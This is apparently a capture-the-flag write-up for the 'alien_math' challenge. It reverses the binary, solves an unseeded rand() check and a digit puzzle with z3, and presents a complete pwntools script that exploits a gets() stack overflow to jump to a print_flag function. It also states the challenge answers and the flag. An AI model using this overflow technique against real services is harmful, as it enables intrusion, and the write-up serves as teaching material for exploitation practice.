# Alien Math![image](https://user-images.githubusercontent.com/14978853/133141910-2a484123-4a73-4701-a23b-c73c3fc758a2.png)
We start from the taking a look at `alien_math` ELF binary in IDA and see the following picture:
![image](https://user-images.githubusercontent.com/14978853/133142249-6cbf2e98-d936-4509-8cb6-6746f03ad9d5.png)
Rough look at the code gives us the understanding that we need to solve some challenges before we actually have a BOF.
Let's start from the beginning. 
The code asks user for some number (`scanf("%d", &v5)`) with a question `What is the square root of zopnol?`, then it uses `rand()` to generate the first pseudo-random number which is then being compared with the user input.
The `rand()` function is called without preceeding call to `srand()` which must initialize the pseudo-random number generator,that means all the `rand()` calls will have same output every program run (on any system).
So lets debug and see what the number is being generated by `rand()` and it will be the answer to the first challenge and it is a number `1804289383`.
The second challenge is inside `second_question(v4)` function, where `v4` holds user input for a question `How many tewgrunbs are in a qorbnorbf?`.
Here is the pseudocode of the `second_question` function:
![image](https://user-images.githubusercontent.com/14978853/133143932-75c8541c-69d5-46af-8506-87d6d62c0bb3.png)
We see that the user input (in `a1` argument) is being checked for allowed characters (`a1[i] <= '/' || a1[i] > '9'`) andexits if there is a character which is not in range `0..9`.
Then some calculations and transformations are applied on the input buffer with help of `second_question_function` and  after the loop the resulting buffer is being comparedwith number `7759406485255323229225`.
Here is the pseudocode of `second_question_function`:
![image](https://user-images.githubusercontent.com/14978853/133143770-f68846db-1276-484e-9168-4778b1ac69a0.png)
To solve this challenge I used `z3` python library:```pydef second():    solver = z3.Solver()
    chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)    for ch in chars:        solver.add(ch > 47, ch <= 57)
    an = chars[0]    for i in range(len(chars)- 1):        v1 = chars[i + 1] - ord('0')
        an = ((v1 + fn(an, i + an)) % 10) + ord('0')        solver.add(an == expected[i+1])
    solver.add(chars[0] == ord('7'))    assert solver.check() == z3.sat    rv = ''    for i in range(len(chars)):        rv += chr(solver.model()[chars[i]].as_long())    print(rv)    return rv
print('finding the second challenge answer...')enter2 = second().encode() #  b'7856445899213065428791'```
We got an answer to the second challenge question: `7856445899213065428791` and we finally reached `final_question` where the BOF is "implemented":
![image](https://user-images.githubusercontent.com/14978853/133144230-0fa8d01b-eafa-40ff-9c46-18f950614cad.png)
We see there is call `gets(v1)` where v1 is the stack buffer, lets try to exploit it with sending the pattern ofcharatecters created with Metasploit's `pattern_create.rb` to find the stack offset to the retn address and it equals 24.
Let's build the final exploit and get the flag:```pyimport tracebackfrom pwn import *import z3
ip = "pwn.chal.csaw.io"port = 5004
# elf = ELF('alien_math')
prefix = b""offset = 24  # calculated using pattern_offsetoverflow = b"A" * offsetretn =  p64(0x4014FB)  # address of `print_flag`
buffer = prefix + overflow + retn
r = remote(ip, port)
enter1 = b'1804289383'expected = b'7759406485255323229225'
def fn(a, b):    return (12 * (b - ord('0')) - 4 + 48 * (a - ord('0')) - (b - ord('0'))) % 10
def second():    solver = z3.Solver()
    chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)    for ch in chars:        solver.add(ch > 47, ch <= 57)
    an = chars[0]    for i in range(len(chars)- 1):        v1 = chars[i + 1] - ord('0')
        an = ((v1 + fn(an, i + an)) % 10) + ord('0')        solver.add(an == expected[i+1])
    solver.add(chars[0] == ord('7'))    assert solver.check() == z3.sat    rv = ''    for i in range(len(chars)):        rv += chr(solver.model()[chars[i]].as_long())    print(rv)    return rv
print('finding the second challenge answer...')enter2 = second().encode() #  b'7856445899213065428791'
try:    r.recvuntil(b'zopnol?')    print("solving the first challenge...")    r.sendline(enter1) 
    r.recvuntil(b'qorbnorbf?')    print('solving the second challenge')    r.sendline(enter2)
    r.recvuntil(b'salwzoblrs?')    print("Sending payload...")    r.sendline(buffer)
    while True:        print(r.recv(1024))except EOFError:    passexcept:    print("error.")    print(traceback.format_exc())
```
Done! we got the flag: `flag{w3fL15n1Rx!_y0u_r34lLy_4R3_@_fL1rBg@rpL3_m4573R!}`